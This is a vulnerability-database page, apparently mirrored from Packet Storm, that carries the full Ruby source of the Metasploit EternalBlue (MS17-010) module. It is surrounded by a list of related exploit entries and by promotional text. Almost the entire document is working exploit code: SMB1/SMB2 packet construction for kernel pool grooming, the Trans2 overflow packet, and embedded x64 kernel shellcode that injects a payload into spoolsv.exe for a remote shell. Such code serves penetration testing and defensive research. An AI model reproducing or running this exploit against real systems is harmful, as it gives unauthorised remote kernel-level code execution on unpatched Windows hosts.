Lucene search
K

MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

🗓️ 17 May 2017 00:00:00Reported by Sean DillonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 3804 Views

MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption buffer overflow memmove operation in Srv!SrvOs2FeaToNt with mathematical error where a DWORD is subtracted into a WORD

Related
Code
ReporterTitlePublishedViews
Family
Gitee
Exploit for CVE-2017-0143
6 Sep 202500:38
gitee
Gitee
Exploit for CVE-2017-0144
1 Jul 202016:26
gitee
Gitee
Exploit for CVE-2014-4878
28 Mar 202000:48
gitee
Gitee
Exploit for CVE-2017-0144
26 Apr 202009:31
gitee
Gitee
Exploit for CVE-2017-0144
28 Mar 201901:46
gitee
Gitee
Exploit for CVE-2017-0144
29 Sep 202122:39
gitee
Gitee
Exploit for CVE-2017-0144
27 Jul 202503:46
gitee
Gitee
Exploit for CVE-2017-0144
26 Apr 202009:31
gitee
Gitee
Exploit for CVE-2017-0144
17 Jul 202001:25
gitee
Gitee
Exploit for CVE-2017-0144
26 Apr 202009:31
gitee
Rows per page
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'ruby_smb'  
require 'ruby_smb/smb1/packet'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',  
'Description' => %q{  
This module is a port of the Equation Group ETERNALBLUE exploit, part of  
the FuzzBunch toolkit released by Shadow Brokers.  
  
There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size  
is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a  
DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow  
is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later  
completed in srvnet!SrvNetWskReceiveComplete.  
  
This exploit, like the original may not trigger 100% of the time, and should be  
run continuously until triggered. It seems like the pool will get hot streaks  
and need a cool down period before the shells rain in again.  
},  
  
'Author' => [  
'Sean Dillon <[email protected]>', # @zerosum0x0  
'Dylan Davis <[email protected]>', # @jennamagius  
'Equation Group',  
'Shadow Brokers'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'MSB', 'MS17-010' ],  
[ 'CVE', '2017-0143' ],  
[ 'CVE', '2017-0144' ],  
[ 'CVE', '2017-0145' ],  
[ 'CVE', '2017-0146' ],  
[ 'CVE', '2017-0147' ],  
[ 'CVE', '2017-0148' ],  
[ 'URL', 'https://github.com/RiskSense-Ops/MS17-010' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 2000, # this can be more, needs to be recalculated  
'EncoderType' => Msf::Encoder::Type::Raw,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 7 and Server 2008 (x64) All Service Packs',  
{  
'Platform' => 'win',  
'Arch' => [ ARCH_X64 ],  
  
'ep_thl_b' => 0x308, # EPROCESS.ThreadListHead.Blink offset  
'et_alertable' => 0x4c, # ETHREAD.Alertable offset  
'teb_acp' => 0x2c8, # TEB.ActivationContextPointer offset  
'et_tle' => 0x420 # ETHREAD.ThreadListEntry offset  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Mar 14 2017'  
))  
  
register_options(  
[  
Opt::RPORT(445),  
OptString.new('ProcessName', [ true, 'Process to inject payload into.', 'spoolsv.exe' ]),  
OptInt.new( 'MaxExploitAttempts', [ true, "The number of times to retry the exploit.", 3 ] ),  
OptInt.new( 'GroomAllocations', [ true, "Initial number of times to groom the kernel pool.", 12 ] ),  
OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] )  
])  
end  
  
def check  
# todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010  
end  
  
def exploit  
begin  
for i in 1..datastore['MaxExploitAttempts']  
  
grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)  
  
smb_eternalblue(datastore['ProcessName'], grooms)  
  
# we don't need this sleep, and need to find a way to remove it  
# problem is session_count won't increment until stage is complete :\  
secs = 0  
while !session_created? and secs < 5  
secs += 1  
sleep 1  
end  
  
if session_created?  
print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")  
print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")  
print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")  
break  
else  
print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")  
print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")  
print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")  
end  
end  
  
rescue ::RubySMB::Error::UnexpectedStatusCode,  
::Errno::ECONNRESET,  
::Rex::HostUnreachable,  
::Rex::ConnectionTimeout,  
::Rex::ConnectionRefused => e  
print_bad("#{e.class}: #{e.message}")  
rescue => error  
print_bad(error.class.to_s)  
print_bad(error.message)  
print_bad(error.backtrace.join("\n"))  
ensure  
# pass  
end  
end  
  
#  
# Increase the default delay by five seconds since some kernel-mode  
# payloads may not run immediately.  
#  
def wfs_delay  
super + 5  
end  
  
def smb_eternalblue(process_name, grooms)  
begin  
# Step 0: pre-calculate what we can  
shellcode = make_kernel_user_payload(payload.encode, 0, 0, 0, 0, 0)  
payload_hdr_pkt = make_smb2_payload_headers_packet  
payload_body_pkt = make_smb2_payload_body_packet(shellcode)  
  
# Step 1: Connect to IPC$ share  
print_status("Connecting to target for exploitation.")  
client, tree, sock = smb1_anonymous_connect_ipc()  
print_good("Connection established for exploitation.")  
  
print_status("Trying exploit with #{grooms} Groom Allocations.")  
  
# Step 2: Create a large SMB1 buffer  
print_status("Sending all but last fragment of exploit packet")  
smb1_large_buffer(client, tree, sock)  
  
# Step 3: Groom the pool with payload packets, and open/close SMB1 packets  
print_status("Starting non-paged pool grooming")  
  
# initialize_groom_threads(ip, port, payload, grooms)  
fhs_sock = smb1_free_hole(true)  
  
@groom_socks = []  
  
print_good("Sending SMBv2 buffers")  
smb2_grooms(grooms, payload_hdr_pkt)  
  
fhf_sock = smb1_free_hole(false)  
  
print_good("Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.")  
fhs_sock.shutdown()  
  
print_status("Sending final SMBv2 buffers.") # 6x  
smb2_grooms(6, payload_hdr_pkt) # todo: magic #  
  
fhf_sock.shutdown()  
  
print_status("Sending last fragment of exploit packet!")  
final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)  
sock.put(final_exploit_pkt)  
  
print_status("Receiving response from exploit packet")  
code, raw = smb1_get_response(sock)  
  
if code == 0xc000000d #STATUS_INVALID_PARAMETER (0xC000000D)  
print_good("ETERNALBLUE overwrite completed successfully (0xC000000D)!")  
end  
  
# Step 4: Send the payload  
print_status("Sending egg to corrupted connection.")  
  
@groom_socks.each{ |gsock| gsock.put(payload_body_pkt.first(2920)) }  
@groom_socks.each{ |gsock| gsock.put(payload_body_pkt[2920..(4204 - 0x84)]) }  
  
print_status("Triggering free of corrupted buffer.")  
# tree disconnect  
# logoff and x  
# note: these aren't necessary, just close the sockets  
  
ensure  
abort_sockets  
end  
end  
  
def smb2_grooms(grooms, payload_hdr_pkt)  
grooms.times do |groom_id|  
gsock = connect(false)  
@groom_socks << gsock  
gsock.put(payload_hdr_pkt)  
end  
end  
  
def smb1_anonymous_connect_ipc()  
sock = connect(false)  
dispatcher = RubySMB::Dispatcher::Socket.new(sock)  
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')  
client.negotiate  
  
pkt = make_smb1_anonymous_login_packet  
sock.put(pkt)  
  
code, raw, response = smb1_get_response(sock)  
  
unless code == 0 # WindowsError::NTStatus::STATUS_SUCCESS  
raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login"  
end  
  
client.user_id = response.uid  
  
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")  
  
return client, tree, sock  
end  
  
def smb1_large_buffer(client, tree, sock)  
nt_trans_pkt = make_smb1_nt_trans_packet(tree.id, client.user_id)  
  
# send NT Trans  
vprint_status("Sending NT Trans Request packet")  
sock.put(nt_trans_pkt)  
  
vprint_status("Receiving NT Trans packet")  
raw = sock.get_once  
  
# Initial Trans2 request  
trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)  
  
# send all but last packet  
for i in 1..14  
trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)  
end  
  
trans2_pkt_nulled << make_smb1_echo_packet(tree.id, client.user_id)  
  
vprint_status("Sending malformed Trans2 packets")  
sock.put(trans2_pkt_nulled)  
  
sock.get_once  
end  
  
def smb1_free_hole(start)  
sock = connect(false)  
dispatcher = RubySMB::Dispatcher::Socket.new(sock)  
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')  
client.negotiate  
  
pkt = ""  
  
if start  
vprint_status("Sending start free hole packet.")  
pkt = make_smb1_free_hole_session_packet("\x07\xc0", "\x2d\x01", "\xf0\xff\x00\x00\x00")  
else  
vprint_status("Sending end free hole packet.")  
pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00")  
end  
  
#dump_packet(pkt)  
sock.put(pkt)  
  
vprint_status("Receiving free hole response.")  
sock.get_once  
  
return sock  
end  
  
def smb1_get_response(sock)  
raw = sock.get_once  
response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])  
code = response.nt_status  
return code, raw, response  
end  
  
def make_smb2_payload_headers_packet  
# don't need a library here, the packet is essentially nonsensical  
pkt = ""  
pkt << "\x00" # session message  
pkt << "\x00\xff\xf7" # size  
pkt << "\xfeSMB" # SMB2  
pkt << "\x00" * 124  
  
pkt  
end  
  
def make_smb2_payload_body_packet(kernel_user_payload)  
# precalculated lengths  
pkt_max_len = 4204  
pkt_setup_len = 497  
pkt_max_payload = pkt_max_len - pkt_setup_len # 3575  
  
# this packet holds padding, KI_USER_SHARED_DATA addresses, and shellcode  
pkt = ""  
  
# padding  
pkt << "\x00" * 0x8  
pkt << "\x03\x00\x00\x00"  
pkt << "\x00" * 0x1c  
pkt << "\x03\x00\x00\x00"  
pkt << "\x00" * 0x74  
  
# KI_USER_SHARED_DATA addresses  
pkt << "\xb0\x00\xd0\xff\xff\xff\xff\xff" * 2 # x64 address  
pkt << "\x00" * 0x10  
pkt << "\xc0\xf0\xdf\xff" * 2 # x86 address  
pkt << "\x00" * 0xc4  
  
# payload addreses  
pkt << "\x90\xf1\xdf\xff"  
pkt << "\x00" * 0x4  
pkt << "\xf0\xf1\xdf\xff"  
pkt << "\x00" * 0x40  
  
pkt << "\xf0\x01\xd0\xff\xff\xff\xff\xff"  
pkt << "\x00" * 0x8  
pkt << "\x00\x02\xd0\xff\xff\xff\xff\xff"  
pkt << "\x00"  
  
pkt << kernel_user_payload  
  
# fill out the rest, this can be randomly generated  
pkt << "\x00" * (pkt_max_payload - kernel_user_payload.length)  
  
pkt  
end  
  
def make_smb1_echo_packet(tree_id, user_id)  
pkt = ""  
pkt << "\x00" # type  
pkt << "\x00\x00\x31" # len = 49  
pkt << "\xffSMB" # SMB1  
pkt << "\x2b" # Echo  
pkt << "\x00\x00\x00\x00" # Success  
pkt << "\x18" # flags  
pkt << "\x07\xc0" # flags2  
pkt << "\x00\x00" # PID High  
pkt << "\x00\x00\x00\x00" # Signature1  
pkt << "\x00\x00\x00\x00" # Signature2  
pkt << "\x00\x00" # Reserved  
pkt << [tree_id].pack("S>") # Tree ID  
pkt << "\xff\xfe" # PID  
pkt << [user_id].pack("S>") # UserID  
pkt << "\x40\x00" # MultiplexIDs  
  
pkt << "\x01" # Word count  
pkt << "\x01\x00" # Echo count  
pkt << "\x0c\x00" # Byte count  
  
# echo data  
# this is an existing IDS signature, and can be nulled out  
#pkt << "\x4a\x6c\x4a\x6d\x49\x68\x43\x6c\x42\x73\x72\x00"  
pkt << "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00"  
  
pkt  
end  
  
# Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit  
def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)  
timeout = (timeout * 0x10) + 3  
  
pkt = ""  
pkt << "\x00" # Session message  
pkt << "\x00\x10\x35" # length  
pkt << "\xffSMB" # SMB1  
pkt << "\x33" # Trans2 request  
pkt << "\x00\x00\x00\x00" # NT SUCCESS  
pkt << "\x18" # Flags  
pkt << "\x07\xc0" # Flags2  
pkt << "\x00\x00" # PID High  
pkt << "\x00\x00\x00\x00" # Signature1  
pkt << "\x00\x00\x00\x00" # Signature2  
pkt << "\x00\x00" # Reserved  
pkt << [tree_id].pack("S>") # TreeID  
pkt << "\xff\xfe" # PID  
pkt << [user_id].pack("S>") # UserID  
pkt << "\x40\x00" # MultiplexIDs  
  
pkt << "\x09" # Word Count  
pkt << "\x00\x00" # Total Param Count  
pkt << "\x00\x10" # Total Data Count  
pkt << "\x00\x00" # Max Param Count  
pkt << "\x00\x00" # Max Data Count  
pkt << "\x00" # Max Setup Count  
pkt << "\x00" # Reserved  
pkt << "\x00\x10" # Flags  
pkt << "\x35\x00\xd0" # Timeouts  
pkt << timeout.chr  
pkt << "\x00\x00" # Reserved  
pkt << "\x00\x10" # Parameter Count  
  
#pkt << "\x74\x70" # Parameter Offset  
#pkt << "\x47\x46" # Data Count  
#pkt << "\x45\x6f" # Data Offset  
#pkt << "\x4c" # Setup Count  
#pkt << "\x4f" # Reserved  
  
if type == :eb_trans2_exploit  
vprint_status("Making :eb_trans2_exploit packet")  
  
pkt << "\x41" * 2957  
  
pkt << "\x80\x00\xa8\x00" # overflow  
  
pkt << "\x00" * 0x10  
pkt << "\xff\xff"  
pkt << "\x00" * 0x6  
pkt << "\xff\xff"  
pkt << "\x00" * 0x16  
  
pkt << "\x00\xf1\xdf\xff" # x86 addresses  
pkt << "\x00" * 0x8  
pkt << "\x20\xf0\xdf\xff"  
  
pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64  
  
pkt << "\x60\x00\x04\x10"  
pkt << "\x00" * 4  
  
pkt << "\x80\xef\xdf\xff"  
  
pkt << "\x00" * 4  
pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"  
pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"  
pkt << "\x00" * 0x10  
  
pkt << "\x60\x00\x04\x10"  
pkt << "\x00" * 0xc  
pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"  
pkt << "\x00" * 0x8  
pkt << "\x80\x10"  
pkt << "\x00" * 0xe  
pkt << "\x39"  
pkt << "\xbb"  
  
pkt << "\x41" * 965  
  
return pkt  
end  
  
if type == :eb_trans2_zero  
vprint_status("Making :eb_trans2_zero packet")  
pkt << "\x00" * 2055  
pkt << "\x83\xf3"  
pkt << "\x41" * 2039  
#pkt << "\x00" * 4096  
else  
vprint_status("Making :eb_trans2_buffer packet")  
pkt << "\x41" * 4096  
end  
  
pkt  
  
end  
  
def make_smb1_nt_trans_packet(tree_id, user_id)  
pkt = ""  
pkt << "\x00" # Session message  
pkt << "\x00\x04\x38" # length  
pkt << "\xffSMB" # SMB1  
pkt << "\xa0" # NT Trans  
pkt << "\x00\x00\x00\x00" # NT SUCCESS  
pkt << "\x18" # Flags  
pkt << "\x07\xc0" # Flags2  
pkt << "\x00\x00" # PID High  
pkt << "\x00\x00\x00\x00" # Signature1  
pkt << "\x00\x00\x00\x00" # Signature2  
pkt << "\x00\x00" # Reserved  
pkt << [tree_id].pack("S>") # TreeID  
pkt << "\xff\xfe" # PID  
pkt << [user_id].pack("S>") # UserID  
pkt << "\x40\x00" # MultiplexID  
  
pkt << "\x14" # Word Count  
pkt << "\x01" # Max Setup Count  
pkt << "\x00\x00" # Reserved  
pkt << "\x1e\x00\x00\x00" # Total Param Count  
pkt << "\xd0\x03\x01\x00" # Total Data Count  
pkt << "\x1e\x00\x00\x00" # Max Param Count  
pkt << "\x00\x00\x00\x00" # Max Data Count  
pkt << "\x1e\x00\x00\x00" # Param Count  
pkt << "\x4b\x00\x00\x00" # Param Offset  
pkt << "\xd0\x03\x00\x00" # Data Count  
pkt << "\x68\x00\x00\x00" # Data Offset  
pkt << "\x01" # Setup Count  
pkt << "\x00\x00" # Function <unknown>  
pkt << "\x00\x00" # Unknown NT transaction (0) setup  
pkt << "\xec\x03" # Byte Count  
pkt << "\x00" * 0x1f # NT Parameters  
  
# undocumented  
pkt << "\x01"  
pkt << "\x00" * 0x3cd  
  
pkt  
end  
  
def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)  
pkt = ""  
pkt << "\x00" # Session message  
pkt << "\x00\x00\x51" # length  
pkt << "\xffSMB" # SMB1  
pkt << "\x73" # Session Setup AndX  
pkt << "\x00\x00\x00\x00" # NT SUCCESS  
pkt << "\x18" # Flags  
pkt << flags2 # Flags2  
pkt << "\x00\x00" # PID High  
pkt << "\x00\x00\x00\x00" # Signature1  
pkt << "\x00\x00\x00\x00" # Signature2  
pkt << "\x00\x00" # Reserved  
pkt << "\x00\x00" # TreeID  
pkt << "\xff\xfe" # PID  
pkt << "\x00\x00" # UserID  
pkt << "\x40\x00" # MultiplexID  
#pkt << "\x00\x00" # Reserved  
  
pkt << "\x0c" # Word Count  
pkt << "\xff" # No further commands  
pkt << "\x00" # Reserved  
pkt << "\x00\x00" # AndXOffset  
pkt << "\x04\x11" # Max Buffer  
pkt << "\x0a\x00" # Max Mpx Count  
pkt << vcnum # VC Number  
pkt << "\x00\x00\x00\x00" # Session key  
pkt << "\x00\x00" # Security blob length  
pkt << "\x00\x00\x00\x00" # Reserved  
pkt << "\x00\x00\x00\x80" # Capabilities  
pkt << "\x16\x00" # Byte count  
#pkt << "\xf0" # Security Blob: <MISSING>  
#pkt << "\xff\x00\x00\x00" # Native OS  
#pkt << "\x00\x00" # Native LAN manager  
#pkt << "\x00\x00" # Primary domain  
pkt << native_os  
pkt << "\x00" * 17 # Extra byte params  
  
pkt  
end  
  
def make_smb1_anonymous_login_packet  
# Neither Rex nor RubySMB appear to support Anon login?  
pkt = ""  
pkt << "\x00" # Session message  
pkt << "\x00\x00\x88" # length  
pkt << "\xffSMB" # SMB1  
pkt << "\x73" # Session Setup AndX  
pkt << "\x00\x00\x00\x00" # NT SUCCESS  
pkt << "\x18" # Flags  
pkt << "\x07\xc0" # Flags2  
pkt << "\x00\x00" # PID High  
pkt << "\x00\x00\x00\x00" # Signature1  
pkt << "\x00\x00\x00\x00" # Signature2  
pkt << "\x00\x00" # TreeID  
pkt << "\xff\xfe" # PID  
pkt << "\x00\x00" # Reserved  
pkt << "\x00\x00" # UserID  
pkt << "\x40\x00" # MultiplexID  
  
pkt << "\x0d" # Word Count  
pkt << "\xff" # No further commands  
pkt << "\x00" # Reserved  
pkt << "\x88\x00" # AndXOffset  
pkt << "\x04\x11" # Max Buffer  
pkt << "\x0a\x00" # Max Mpx Count  
pkt << "\x00\x00" # VC Number  
pkt << "\x00\x00\x00\x00" # Session key  
pkt << "\x01\x00" # ANSI pw length  
pkt << "\x00\x00" # Unicode pw length  
pkt << "\x00\x00\x00\x00" # Reserved  
pkt << "\xd4\x00\x00\x00" # Capabilities  
pkt << "\x4b\x00" # Byte count  
pkt << "\x00" # ANSI pw  
pkt << "\x00\x00" # Account name  
pkt << "\x00\x00" # Domain name  
  
# Windows 2000 2195  
pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"  
pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00"  
pkt << "\x00\x00"  
  
# Windows 2000 5.0  
pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"  
pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2e\x00\x30\x00\x00\x00"  
  
pkt  
end  
  
# ring3 = user mode encoded payload  
# proc_name = process to inject APC into  
# ep_thl_b = EPROCESS.ThreadListHead.Blink offset  
# et_alertable = ETHREAD.Alertable offset  
# teb_acp = TEB.ActivationContextPointer offset  
# et_tle = ETHREAD.ThreadListEntry offset  
def make_kernel_user_payload(ring3, proc_name, ep_thl_b, et_alertable, teb_acp, et_tle)  
sc = make_kernel_shellcode  
sc << [ring3.length].pack("S<")  
sc << ring3  
sc  
end  
  
def make_kernel_shellcode  
# https://github.com/RiskSense-Ops/MS17-010/blob/master/payloads/x64/src/exploit/kernel.asm  
# Name: kernel  
# Length: 1019 bytes  
  
#"\xcc"+  
"\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8\x0F\xD0\xFF\xFF\xFF\xFF" +  
"\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A\x00\x00\x00\x48\x89\xC2" +  
"\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8\x65\x48\x89\x24\x25\x10" +  
"\x00\x00\x00\x65\x48\x8B\x24\x25\xA8\x01\x00\x00\x50\x53\x51\x52" +  
"\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41" +  
"\x56\x41\x57\x6A\x2B\x65\xFF\x34\x25\x10\x00\x00\x00\x41\x53\x6A" +  
"\x33\x51\x4C\x89\xD1\x48\x83\xEC\x08\x55\x48\x81\xEC\x58\x01\x00" +  
"\x00\x48\x8D\xAC\x24\x80\x00\x00\x00\x48\x89\x9D\xC0\x00\x00\x00" +  
"\x48\x89\xBD\xC8\x00\x00\x00\x48\x89\xB5\xD0\x00\x00\x00\x48\xA1" +  
"\xF8\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x48\x89\xC2\x48\xC1\xEA\x20\x48" +  
"\x31\xDB\xFF\xCB\x48\x21\xD8\xB9\x82\x00\x00\xC0\x0F\x30\xFB\xE8" +  
"\x38\x00\x00\x00\xFA\x65\x48\x8B\x24\x25\xA8\x01\x00\x00\x48\x83" +  
"\xEC\x78\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x41\x5B\x41\x5A\x41\x59" +  
"\x41\x58\x5D\x5F\x5E\x5A\x59\x5B\x58\x65\x48\x8B\x24\x25\x10\x00" +  
"\x00\x00\x0F\x01\xF8\xFF\x24\x25\xF8\x0F\xD0\xFF\x56\x41\x57\x41" +  
"\x56\x41\x55\x41\x54\x53\x55\x48\x89\xE5\x66\x83\xE4\xF0\x48\x83" +  
"\xEC\x20\x4C\x8D\x35\xE3\xFF\xFF\xFF\x65\x4C\x8B\x3C\x25\x38\x00" +  
"\x00\x00\x4D\x8B\x7F\x04\x49\xC1\xEF\x0C\x49\xC1\xE7\x0C\x49\x81" +  
"\xEF\x00\x10\x00\x00\x49\x8B\x37\x66\x81\xFE\x4D\x5A\x75\xEF\x41" +  
"\xBB\x5C\x72\x11\x62\xE8\x18\x02\x00\x00\x48\x89\xC6\x48\x81\xC6" +  
"\x08\x03\x00\x00\x41\xBB\x7A\xBA\xA3\x30\xE8\x03\x02\x00\x00\x48" +  
"\x89\xF1\x48\x39\xF0\x77\x11\x48\x8D\x90\x00\x05\x00\x00\x48\x39" +  
"\xF2\x72\x05\x48\x29\xC6\xEB\x08\x48\x8B\x36\x48\x39\xCE\x75\xE2" +  
"\x49\x89\xF4\x31\xDB\x89\xD9\x83\xC1\x04\x81\xF9\x00\x00\x01\x00" +  
"\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89\xCB\x41\xBB\x66\x55\xA2" +  
"\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB\x49\x8B\x0E\x41\xBB\xA3" +  
"\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89\xC6\xE8\x50\x01\x00\x00" +  
"\x41\x81\xF9\xBF\x77\x1F\xDD\x75\xBC\x49\x8B\x1E\x4D\x8D\x6E\x10" +  
"\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24\x11\xDC\xE8\x81\x01\x00" +  
"\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D\x4E\x08\x49\xC7\x01\x00" +  
"\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31\xC9\x48\x89\x0A\x48\xF7" +  
"\xD1\x41\xBB\x4B\xCA\x0A\xEE\x48\x83\xEC\x20\xE8\x52\x01\x00\x00" +  
"\x85\xC0\x0F\x85\xC8\x00\x00\x00\x49\x8B\x3E\x48\x8D\x35\xE9\x00" +  
"\x00\x00\x31\xC9\x66\x03\x0D\xD7\x01\x00\x00\x66\x81\xC1\xF9\x00" +  
"\xF3\xA4\x48\x89\xDE\x48\x81\xC6\x08\x03\x00\x00\x48\x89\xF1\x48" +  
"\x8B\x11\x4C\x29\xE2\x51\x52\x48\x89\xD1\x48\x83\xEC\x20\x41\xBB" +  
"\x26\x40\x36\x9D\xE8\x09\x01\x00\x00\x48\x83\xC4\x20\x5A\x59\x48" +  
"\x85\xC0\x74\x18\x48\x8B\x80\xC8\x02\x00\x00\x48\x85\xC0\x74\x0C" +  
"\x48\x83\xC2\x4C\x8B\x02\x0F\xBA\xE0\x05\x72\x05\x48\x8B\x09\xEB" +  
"\xBE\x48\x83\xEA\x4C\x49\x89\xD4\x31\xD2\x80\xC2\x90\x31\xC9\x41" +  
"\xBB\x26\xAC\x50\x91\xE8\xC8\x00\x00\x00\x48\x89\xC1\x4C\x8D\x89" +  
"\x80\x00\x00\x00\x41\xC6\x01\xC3\x4C\x89\xE2\x49\x89\xC4\x4D\x31" +  
"\xC0\x41\x50\x6A\x01\x49\x8B\x06\x50\x41\x50\x48\x83\xEC\x20\x41" +  
"\xBB\xAC\xCE\x55\x4B\xE8\x98\x00\x00\x00\x31\xD2\x52\x52\x41\x58" +  
"\x41\x59\x4C\x89\xE1\x41\xBB\x18\x38\x09\x9E\xE8\x82\x00\x00\x00" +  
"\x4C\x89\xE9\x41\xBB\x22\xB7\xB3\x7D\xE8\x74\x00\x00\x00\x48\x89" +  
"\xD9\x41\xBB\x0D\xE2\x4D\x85\xE8\x66\x00\x00\x00\x48\x89\xEC\x5D" +  
"\x5B\x41\x5C\x41\x5D\x41\x5E\x41\x5F\x5E\xC3\xE9\xB5\x00\x00\x00" +  
"\x4D\x31\xC9\x31\xC0\xAC\x41\xC1\xC9\x0D\x3C\x61\x7C\x02\x2C\x20" +  
"\x41\x01\xC1\x38\xE0\x75\xEC\xC3\x31\xD2\x65\x48\x8B\x52\x60\x48" +  
"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x12\x48\x8B\x72\x50\x48\x0F" +  
"\xB7\x4A\x4A\x45\x31\xC9\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41" +  
"\xC1\xC9\x0D\x41\x01\xC1\xE2\xEE\x45\x39\xD9\x75\xDA\x4C\x8B\x7A" +  
"\x20\xC3\x4C\x89\xF8\x41\x51\x41\x50\x52\x51\x56\x48\x89\xC2\x8B" +  
"\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00\x00\x48\x01\xD0\x50\x8B" +  
"\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\x48\xFF\xC9\x41\x8B\x34\x88" +  
"\x48\x01\xD6\xE8\x78\xFF\xFF\xFF\x45\x39\xD9\x75\xEC\x58\x44\x8B" +  
"\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01" +  
"\xD0\x41\x8B\x04\x88\x48\x01\xD0\x5E\x59\x5A\x41\x58\x41\x59\x41" +  
"\x5B\x41\x53\xFF\xE0\x56\x41\x57\x55\x48\x89\xE5\x48\x83\xEC\x20" +  
"\x41\xBB\xDA\x16\xAF\x92\xE8\x4D\xFF\xFF\xFF\x31\xC9\x51\x51\x51" +  
"\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00\x5A\x48\x83\xEC\x20\x41" +  
"\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF\x48\x89\xEC\x5D\x41\x5F" +  
"\x5E\xC3"  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation